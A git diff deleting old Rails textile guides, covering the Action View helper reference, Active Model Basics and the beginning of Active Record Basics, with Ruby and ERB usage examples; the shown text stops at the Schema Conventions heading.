-image_tag("icon.png") # => <img src="/images/icon.png" alt="Icon" />
-</ruby>
-
-h5. javascript_include_tag
-
-Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of JavaScript files that exist in your +public/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root.
-
-<ruby>
-javascript_include_tag "common" # =>
-  <script type="text/javascript" src="/javascripts/common.js"></script>
-</ruby>
-
-If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass +:defaults+ as the source. When using +:defaults+, if an +application.js+ file exists in your +public/javascripts+ directory, it will be included as well.
-
-<ruby>
-javascript_include_tag :defaults
-</ruby>
-
-You can also include all JavaScript files in the +public/javascripts+ directory using +:all+ as the source.
-
-<ruby>
-javascript_include_tag :all
-</ruby>
-
-You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if +ActionController::Base.perform_caching+ is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-
-<ruby>
-javascript_include_tag :all, :cache => true # =>
-  <script type="text/javascript" src="/javascripts/all.js"></script>
-</ruby>
-
-h5. javascript_path
-
-Computes the path to a JavaScript asset in the +public/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path.
-
-<ruby>
-javascript_path "common" # => /javascripts/common.js
-</ruby>
-
-h5. stylesheet_link_tag
-
-Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically.
-
-<ruby>
-stylesheet_link_tag "application" # =>
-  <link href="/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
-</ruby>
-
-You can also include all styles in the stylesheet directory using :all as the source:
-
-<ruby>
-stylesheet_link_tag :all
-</ruby>
-
-You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-
-<ruby>
-stylesheet_link_tag :all, :cache => true
-  <link href="/stylesheets/all.css"  media="screen" rel="stylesheet" type="text/css" />
-</ruby>
-
-h5. stylesheet_path
-
-Computes the path to a stylesheet asset in the +public/stylesheets+ directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
-
-<ruby>
-stylesheet_path "application" # => /stylesheets/application.css
-</ruby>
-
-h4. AtomFeedHelper
-
-h5. atom_feed
-
-This helper makes building an ATOM feed easy. Here's a full usage example:
-
-*config/routes.rb*
-
-<ruby>
-resources :posts
-</ruby>
-
-*app/controllers/posts_controller.rb*
-
-<ruby>
-def index
-  @posts = Post.all
-
-  respond_to do |format|
-    format.html
-    format.atom
-  end
-end
-</ruby>
-
-*app/views/posts/index.atom.builder*
-
-<ruby>
-atom_feed do |feed|
-  feed.title("Posts Index")
-  feed.updated((@posts.first.created_at))
-
-  @posts.each do |post|
-    feed.entry(post) do |entry|
-      entry.title(post.title)
-      entry.content(post.body, :type => 'html')
-
-      entry.author do |author|
-        author.name(post.author_name)
-      end
-    end
-  end
-end
-</ruby>
-
-h4. BenchmarkHelper
-
-h5. benchmark
-
-Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
-
-<ruby>
-<% benchmark "Process data files" do %>
-  <%= expensive_files_operation %>
-<% end %>
-</ruby>
-
-This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
-
-h4. CacheHelper
-
-h5. cache
-
-A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information.
-
-<ruby>
-<% cache do %>
-  <%= render "shared/footer" %>
-<% end %>
-</ruby>
-
-h4. CaptureHelper
-
-h5. capture
-
-The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
-
-<ruby>
-<% @greeting = capture do %>
-  <p>Welcome! The date and time is <%= Time.now %></p>
-<% end %>
-</ruby>
-
-The captured variable can then be used anywhere else.
-
-<ruby>
-<html>
-  <head>
-    <title>Welcome!</title>
-  </head>
-  <body>
-    <%= @greeting %>
-  </body>
-</html>
-</ruby>
-
-h5. content_for
-
-Calling +content_for+ stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to +yield+.
-
-For example, let's say we have a standard application layout, but also a special page that requires certain Javascript that the rest of the site doesn't need. We can use +content_for+ to include this Javascript on our special page without fattening up the rest of the site.
-
-*app/views/layouts/application.html.erb*
-
-<ruby>
-<html>
-  <head>
-    <title>Welcome!</title>
-    <%= yield :special_script %>
-  </head>
-  <body>
-    <p>Welcome! The date and time is <%= Time.now %></p>
-  </body>
-</html>
-</ruby>
-
-*app/views/posts/special.html.erb*
-
-<ruby>
-<p>This is a special page.</p>
-
-<% content_for :special_script do %>
-  <script type="text/javascript">alert('Hello!')</script>
-<% end %>
-</ruby>
-
-h4. DateHelper
-
-h5. date_select
-
-Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
-
-<ruby>
-date_select("post", "published_on")
-</ruby>
-
-h5. datetime_select
-
-Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
-
-<ruby>
-datetime_select("post", "published_on")
-</ruby>
-
-h5. distance_of_time_in_words
-
-Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations.
-
-<ruby>
-distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
-distance_of_time_in_words(Time.now, Time.now + 15.seconds, true)  # => less than 20 seconds
-</ruby>
-
-h5. select_date
-
-Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided.
-
-<ruby>
-# Generates a date select that defaults to the date provided (six days after today)
-select_date(Time.today + 6.days)
-
-# Generates a date select that defaults to today (no specified date)
-select_date()
-</ruby>
-
-h5. select_datetime
-
-Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided.
-
-<ruby>
-# Generates a datetime select that defaults to the datetime provided (four days after today)
-select_datetime(Time.now + 4.days)
-
-# Generates a datetime select that defaults to today (no specified datetime)
-select_datetime()
-</ruby>
-
-h5. select_day
-
-Returns a select tag with options for each of the days 1 through 31 with the current day selected.
-
-<ruby>
-# Generates a select field for days that defaults to the day for the date provided
-select_day(Time.today + 2.days)
-
-# Generates a select field for days that defaults to the number given
-select_day(5)
-</ruby>
-
-h5. select_hour
-
-Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
-
-<ruby>
-# Generates a select field for minutes that defaults to the minutes for the time provided
-select_minute(Time.now + 6.hours)
-</ruby>
-
-h5. select_minute
-
-Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
-
-<ruby>
-# Generates a select field for minutes that defaults to the minutes for the time provided.
-select_minute(Time.now + 6.hours)
-</ruby>
-
-h5. select_month
-
-Returns a select tag with options for each of the months January through December with the current month selected.
-
-<ruby>
-# Generates a select field for months that defaults to the current month
-select_month(Date.today)
-</ruby>
-
-h5. select_second
-
-Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
-
-<ruby>
-# Generates a select field for seconds that defaults to the seconds for the time provided
-select_second(Time.now + 16.minutes)
-</ruby>
-
-h5. select_time
-
-Returns a set of html select-tags (one for hour and minute).
-
-<ruby>
-# Generates a time select that defaults to the time provided
-select_time(Time.now)
-</ruby>
-
-h5. select_year
-
-Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
-
-<ruby>
-# Generates a select field for five years on either side of Date.today that defaults to the current year
-select_year(Date.today)
-
-# Generates a select field from 1900 to 2009 that defaults to the current year
-select_year(Date.today, :start_year => 1900, :end_year => 2009)
-</ruby>
-
-h5. time_ago_in_words
-
-Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+.
-
-<ruby>
-time_ago_in_words(3.minutes.from_now)       # => 3 minutes
-</ruby>
-
-h5. time_select
-
-Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
-
-<ruby>
-# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
-time_select("order", "submitted")
-</ruby>
-
-h4. DebugHelper
-
-Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object.
-
-<ruby>
-my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
-debug(my_hash)
-</ruby>
-
-<html>
-<pre class='debug_dump'>---
-first: 1
-second: two
-third:
-- 1
-- 2
-- 3
-</pre>
-</html>
-
-h4. FormHelper
-
-Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.
-
-There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
-
-The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
-
-<ruby>
-# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
-<%= form_for @person, :url => { :action => "create" } do |f| %>
-  <%= f.text_field :first_name %>
-  <%= f.text_field :last_name %>
-  <%= submit_tag 'Create' %>
-<% end %>
-</ruby>
-
-The HTML generated for this would be:
-
-<html>
-<form action="/persons/create" method="post">
-  <input id="person_first_name" name="person[first_name]" size="30" type="text" />
-  <input id="person_last_name" name="person[last_name]" size="30" type="text" />
-  <input name="commit" type="submit" value="Create" />
-</form>
-</html>
-
-The params object created when this form is submitted would look like:
-
-<ruby>
-{"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
-</ruby>
-
-The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
-
-h5. check_box
-
-Returns a checkbox tag tailored for accessing a specified attribute.
-
-<ruby>
-# Let's say that @post.validated? is 1:
-check_box("post", "validated")
-# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
-#    <input name="post[validated]" type="hidden" value="0" />
-</ruby>
-
-h5. fields_for
-
-Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
-
-<ruby>
-<%= form_for @person, :url => { :action => "update" } do |person_form| %>
-  First name: <%= person_form.text_field :first_name %>
-  Last name : <%= person_form.text_field :last_name %>
-
-  <%= fields_for @person.permission do |permission_fields| %>
-    Admin?  : <%= permission_fields.check_box :admin %>
-  <% end %>
-<% end %>
-</ruby>
-
-h5. file_field
-
-Returns a file upload input tag tailored for accessing a specified attribute.
-
-<ruby>
-file_field(:user, :avatar)
-# => <input type="file" id="user_avatar" name="user[avatar]" />
-</ruby>
-
-h5. form_for
-
-Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
-
-<ruby>
-<%= form_for @post do |f| %>
-  <%= f.label :title, 'Title' %>:
-  <%= f.text_field :title %><br />
-  <%= f.label :body, 'Body' %>:
-  <%= f.text_area :body %><br />
-<% end %>
-</ruby>
-
-h5. hidden_field
-
-Returns a hidden input tag tailored for accessing a specified attribute.
-
-<ruby>
-hidden_field(:user, :token)
-# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
-</ruby>
-
-h5. label
-
-Returns a label tag tailored for labelling an input field for a specified attribute.
-
-<ruby>
-label(:post, :title)
-# => <label for="post_title">Title</label>
-</ruby>
-
-h5. password_field
-
-Returns an input tag of the "password" type tailored for accessing a specified attribute.
-
-<ruby>
-password_field(:login, :pass)
-# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
-</ruby>
-
-h5. radio_button
-
-Returns a radio button tag for accessing a specified attribute.
-
-<ruby>
-# Let's say that @post.category returns "rails":
-radio_button("post", "category", "rails")
-radio_button("post", "category", "java")
-# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-#    <input type="radio" id="post_category_java" name="post[category]" value="java" />
-</ruby>
-
-h5. text_area
-
-Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
-
-<ruby>
-text_area(:comment, :text, :size => "20x30")
-# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
-#      #{@comment.text}
-#    </textarea>
-</ruby>
-
-h5. text_field
-
-Returns an input tag of the "text" type tailored for accessing a specified attribute.
-
-<ruby>
-text_field(:post, :title)
-# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
-</ruby>
-
-h4. FormOptionsHelper
-
-Provides a number of methods for turning different kinds of containers into a set of option tags.
-
-h5. collection_select
-
-Returns +select+ and +option+ tags for the collection of existing return values of +method+ for +object+'s class.
-
-Example object structure for use with this method:
-
-<ruby>
-class Post < ActiveRecord::Base
-  belongs_to :author
-end
-
-class Author < ActiveRecord::Base
-  has_many :posts
-  def name_with_initial
-    "#{first_name.first}. #{last_name}"
-  end
-end
-</ruby>
-
-Sample usage (selecting the associated Author for an instance of Post, +@post+):
-
-<ruby>
-collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true})
-</ruby>
-
-If <tt>@post.author_id</tt> is 1, this would return:
-
-<html>
-<select name="post[author_id]">
-  <option value="">Please select</option>
-  <option value="1" selected="selected">D. Heinemeier Hansson</option>
-  <option value="2">D. Thomas</option>
-  <option value="3">M. Clark</option>
-</select>
-</html>
-
-h5. country_options_for_select
-
-Returns a string of option tags for pretty much any country in the world.
-
-h5. country_select
-
-Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
-
-h5. option_groups_from_collection_for_select
-
-Returns a string of +option+ tags, like +options_from_collection_for_select+, but groups them by +optgroup+ tags based on the object relationships of the arguments.
-
-Example object structure for use with this method:
-
-<ruby>
-class Continent < ActiveRecord::Base
-  has_many :countries
-  # attribs: id, name
-end
-
-class Country < ActiveRecord::Base
-  belongs_to :continent
-  # attribs: id, name, continent_id
-end
-</ruby>
-
-Sample usage:
-
-<ruby>
-option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
-</ruby>
-
-Possible output:
-
-<html>
-<optgroup label="Africa">
-  <option value="1">Egypt</option>
-  <option value="4">Rwanda</option>
-  ...
-</optgroup>
-<optgroup label="Asia">
-  <option value="3" selected="selected">China</option>
-  <option value="12">India</option>
-  <option value="5">Japan</option>
-  ...
-</optgroup>
-</html>
-
-Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag.
-
-h5. options_for_select
-
-Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
-
-<ruby>
-options_for_select([ "VISA", "MasterCard" ])
-# => <option>VISA</option> <option>MasterCard</option>
-</ruby>
-
-Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
-
-h5. options_from_collection_for_select
-
-Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
-
-<ruby>
-# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
-</ruby>
-
-For example, imagine a loop iterating over each person in @project.people to generate an input tag:
-
-<ruby>
-options_from_collection_for_select(@project.people, "id", "name")
-# => <option value="#{person.id}">#{person.name}</option>
-</ruby>
-
-Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
-
-h5. select
-
-Create a select tag and a series of contained option tags for the provided object and method.
-
-Example:
-
-<ruby>
-select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true })
-</ruby>
-
-If <tt>@post.person_id</tt> is 1, this would become:
-
-<html>
-<select name="post[person_id]">
-  <option value=""></option>
-  <option value="1" selected="selected">David</option>
-  <option value="2">Sam</option>
-  <option value="3">Tobias</option>
-</select>
-</html>
-
-h5. time_zone_options_for_select
-
-Returns a string of option tags for pretty much any time zone in the world.
-
-h5. time_zone_select
-
-Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags.
-
-<ruby>
-time_zone_select( "user", "time_zone")
-</ruby>
-
-h4. FormTagHelper
-
-Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
-
-h5. check_box_tag
-
-Creates a check box form input tag.
-
-<ruby>
-check_box_tag 'accept'
-# => <input id="accept" name="accept" type="checkbox" value="1" />
-</ruby>
-
-h5. field_set_tag
-
-Creates a field set for grouping HTML form elements.
-
-<ruby>
-<%= field_set_tag do %>
-  <p><%= text_field_tag 'name' %></p>
-<% end %>
-# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
-</ruby>
-
-h5. file_field_tag
-
-Creates a file upload field.
-
-Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically.
-
-<ruby>
-<%= form_tag { :action => "post" }, { :multipart => true } do %>
-  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
-  <%= submit_tag %>
-<% end %>
-</ruby>
-
-Example output:
-
-<ruby>
-file_field_tag 'attachment'
-# => <input id="attachment" name="attachment" type="file" />
-</ruby>
-
-h5. form_tag
-
-Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+.
-
-<ruby>
-<%= form_tag '/posts' do %>
-  <div><%= submit_tag 'Save' %></div>
-<% end %>
-# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
-</ruby>
-
-h5. hidden_field_tag
-
-Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
-
-<ruby>
-hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
-# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
-</ruby>
-
-h5. image_submit_tag
-
-Displays an image which when clicked will submit the form.
-
-<ruby>
-image_submit_tag("login.png")
-# => <input src="/images/login.png" type="image" />
-</ruby>
-
-h5. label_tag
-
-Creates a label field.
-
-<ruby>
-label_tag 'name'
-# => <label for="name">Name</label>
-</ruby>
-
-h5. password_field_tag
-
-Creates a password field, a masked text field that will hide the users input behind a mask character.
-
-<ruby>
-password_field_tag 'pass'
-# => <input id="pass" name="pass" type="password" />
-</ruby>
-
-h5. radio_button_tag
-
-Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
-
-<ruby>
-radio_button_tag 'gender', 'male'
-# => <input id="gender_male" name="gender" type="radio" value="male" />
-</ruby>
-
-h5. select_tag
-
-Creates a dropdown selection box.
-
-<ruby>
-select_tag "people", "<option>David</option>"
-# => <select id="people" name="people"><option>David</option></select>
-</ruby>
-
-h5. submit_tag
-
-Creates a submit button with the text provided as the caption.
-
-<ruby>
-submit_tag "Publish this post"
-# => <input name="commit" type="submit" value="Publish this post" />
-</ruby>
-
-h5. text_area_tag
-
-Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
-
-<ruby>
-text_area_tag 'post'
-# => <textarea id="post" name="post"></textarea>
-</ruby>
-
-h5. text_field_tag
-
-Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
-
-<ruby>
-text_field_tag 'name'
-# => <input id="name" name="name" type="text" />
-</ruby>
-
-h4. JavaScriptHelper
-
-Provides functionality for working with JavaScript in your views.
-
-h5. button_to_function
-
-Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
-
-<ruby>
-button_to_function "Greeting", "alert('Hello world!')"
-button_to_function "Delete", "if (confirm('Really?')) do_delete()"
-button_to_function "Details" do |page|
-  page[:details].visual_effect :toggle_slide
-end
-</ruby>
-
-h5. define_javascript_functions
-
-Includes the Action Pack JavaScript libraries inside a single +script+ tag.
-
-h5. escape_javascript
-
-Escape carrier returns and single and double quotes for JavaScript segments.
-
-h5. javascript_tag
-
-Returns a JavaScript tag wrapping the provided code.
-
-<ruby>
-javascript_tag "alert('All is good')"
-</ruby>
-
-<html>
-<script type="text/javascript">
-//<![CDATA[
-alert('All is good')
-//]]>
-</script>
-</html>
-
-h5. link_to_function
-
-Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
-
-<ruby>
-link_to_function "Greeting", "alert('Hello world!')"
-# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
-</ruby>
-
-h4. NumberHelper
-
-Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
-
-h5. number_to_currency
-
-Formats a number into a currency string (e.g., $13.65).
-
-<ruby>
-number_to_currency(1234567890.50) # => $1,234,567,890.50
-</ruby>
-
-h5. number_to_human_size
-
-Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
-
-<ruby>
-number_to_human_size(1234)          # => 1.2 KB
-number_to_human_size(1234567)       # => 1.2 MB
-</ruby>
-
-h5. number_to_percentage
-
-Formats a number as a percentage string.
-
-<ruby>
-number_to_percentage(100, :precision => 0)        # => 100%
-</ruby>
-
-h5. number_to_phone
-
-Formats a number into a US phone number.
-
-<ruby>
-number_to_phone(1235551234) # => 123-555-1234
-</ruby>
-
-h5. number_with_delimiter
-
-Formats a number with grouped thousands using a delimiter.
-
-<ruby>
-number_with_delimiter(12345678) # => 12,345,678
-</ruby>
-
-h5. number_with_precision
-
-Formats a number with the specified level of +precision+, which defaults to 3.
-
-<ruby>
-number_with_precision(111.2345)     # => 111.235
-number_with_precision(111.2345, 2)  # => 111.23
-</ruby>
-
-h3. Localized Views
-
-Action View has the ability render different templates depending on the current locale.
-
-For example, suppose you have a Posts controller with a show action. By default, calling this action will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :de+, then +app/views/posts/show.de.html.erb+ will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
-
-You can use the same technique to localize the rescue files in your public directory. For example, setting +I18n.locale = :de+ and creating +public/500.de.html+ and +public/404.de.html+ would allow you to have localized rescue pages.
-
-Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to +app/controllers/application.rb+:
-
-<ruby>
-before_filter :set_expert_locale
-
-def set_expert_locale
-  I18n.locale = :expert if current_user.expert?
-end
-</ruby>
-
-Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users.
-
-You can read more about the Rails Internationalization (I18n) API "here":i18n.html.
diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile
deleted file mode 100644
index 9c8ad24cee..0000000000
--- a/railties/guides/source/active_model_basics.textile
+++ /dev/null
@@ -1,205 +0,0 @@
-h2. Active Model Basics
-
-This guide should provide you with all you need to get started using model classes. Active Model allow for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework.
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Introduction
-
-Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below -  
-
-h4. AttributeMethods
-
-AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
-
-<ruby>
-class Person
-  include ActiveModel::AttributeMethods
-
-  attribute_method_prefix 'reset_'
-  attribute_method_suffix '_highest?'
-  define_attribute_methods ['age']
-
-  attr_accessor :age
-
-private
-  def reset_attribute(attribute)
-    send("#{attribute}=", 0)
-  end
-
-  def attribute_highest?(attribute)
-    send(attribute) > 100 ? true : false
-  end
-  
-end
-
-person = Person.new
-person.age = 110
-person.age_highest?  # true
-person.reset_age     # 0
-person.age_highest?  # false 
-
-</ruby>
-
-h4. Callbacks
-
-Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
-
-<ruby>
-class Person
-  extend ActiveModel::Callbacks
-
-  define_model_callbacks :update
-
-  before_update :reset_me
-
-  def update
-    _run_update_callbacks do
-      # This will call when we are trying to call update on object.
-    end
-  end
-
-  def reset_me
-    # This method will call when you are calling update on object as a before_update callback as defined.
-  end
-end
-</ruby>
-
-h4. Conversion
-
-If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class.
-
-<ruby>
-class Person
-  include ActiveModel::Conversion
-
-  def persisted?
-    false
-  end
-
-  def id
-    nil
-  end
-end
-
-person = Person.new
-person.to_model == person  #=> true
-person.to_key              #=> nil
-person.to_param            #=> nil
-</ruby>
-
-h4. Dirty
-
-An object becomes dirty when an object is gone through one or more changes to its attributes and not yet saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Lets consider a Person class with attributes first_name and last_name
-
-<ruby>
-require 'rubygems'
-require 'active_model'
-
-class Person
-  include ActiveModel::Dirty
-  define_attribute_methods [:first_name, :last_name]
-
-  def first_name
-    @first_name
-  end
-
-  def first_name=(value)
-    first_name_will_change!
-    @first_name = value
-  end
-
-  def last_name
-    @last_name
-  end
-
-  def last_name=(value)
-    last_name_will_change!
-    @last_name = value
-  end
-
-  def save
-    @previously_changed = changes
-  end
-
-end
-</ruby>
-
-h5. Querying object directly for its list of all changed attributes.
-
-<ruby>
-person = Person.new
-person.first_name = "First Name"
-
-person.first_name #=> "First Name"
-person.first_name = "First Name Changed"
-
-person.changed? #=> true
-
-#returns an list of fields arry which all has been changed before saved.
-person.changed #=> ["first_name"]
-
-#returns a hash of the fields that have changed with their original values.
-person.changed_attributes #=> {"first_name" => "First Name Changed"}
-
-#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
-person.changes #=> {"first_name" => ["First Name","First Name Changed"]}
-</ruby>
-
-h5. Attribute based accessor methods
-
-Track whether the particular attribute has been changed or not.
-
-<ruby>
-#attr_name_changed?
-person.first_name #=> "First Name"
-
-#assign some other value to first_name attribute
-person.first_name = "First Name 1"
-
-person.first_name_changed? #=> true
-</ruby>
-
-Track what was the previous value of the attribute.
-
-<ruby>
-#attr_name_was accessor
-person.first_name_was  #=> "First Name"
-</ruby>
-
-Track  both previous and current value of the changed attribute. Returns an array if changed else returns nil
-
-<ruby>
-#attr_name_change
-person.first_name_change #=> ["First Name", "First Name 1"]
-person.last_name_change #=> nil
-</ruby>
-
-h4. Validations
-
-Validations module adds the ability to class objects to validate them in Active Record style.
-
-<ruby>
-class Person
-  include ActiveModel::Validations
-
-  attr_accessor :name, :email, :token
-  
-  validates :name, :presence => true
-  validates_format_of :email, :with => /^([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})$/i  
-  validates! :token, :presence => true
-  
-end
-
-person = Person.new(:token => "2b1f325")
-person.valid?                        #=> false
-person.name  = 'vishnu'
-person.email  = 'me'
-person.valid?                        #=> false
-person.email = 'me@vishnuatrai.com'
-person.valid?                        #=> true
-person.token = nil
-person.valid?                        #=> raises ActiveModel::StrictValidationFailed
-</ruby>
diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile
deleted file mode 100644
index 66ad7b0255..0000000000
--- a/railties/guides/source/active_record_basics.textile
+++ /dev/null
@@ -1,218 +0,0 @@
-h2. Active Record Basics
-
-This guide is an introduction to Active Record. After reading this guide we hope that you'll learn:
-
-* What Object Relational Mapping and Active Record are and how they are used in Rails
-* How Active Record fits into the Model-View-Controller paradigm
-* How to use Active Record models to manipulate data stored in a relational database
-* Active Record schema naming conventions
-* The concepts of database migrations, validations and callbacks
-
-endprologue.
-
-h3. What is Active Record?
-
-Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
-
-h4. The Active Record Pattern
-
-Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
-
-h4. Object Relational Mapping
-
-Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
-
-h4. Active Record as an ORM Framework
-
-Active Record gives us several mechanisms, the most important being the ability to:
-
-* Represent models and their data
-* Represent associations between these models
-* Represent inheritance hierarchies through related models
-* Validate models before they get persisted to the database
-* Perform database operations in an object-oriented fashion.
-
-h3. Convention over Configuration in Active Record
-
-When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
-
-h4. Naming Conventions
-
-By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:
-
-* Database Table - Plural with underscores separating words (e.g., +book_clubs+)
-* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+)
-
-|_.Model / Class |_.Table / Schema |
-|+Post+          |+posts+|
-|+LineItem+      |+line_items+|
-|+Deer+          |+deer+|
-|+Mouse+         |+mice+|
-|+Person+        |+people+|
-
-
-h4. Schema Conventions
-
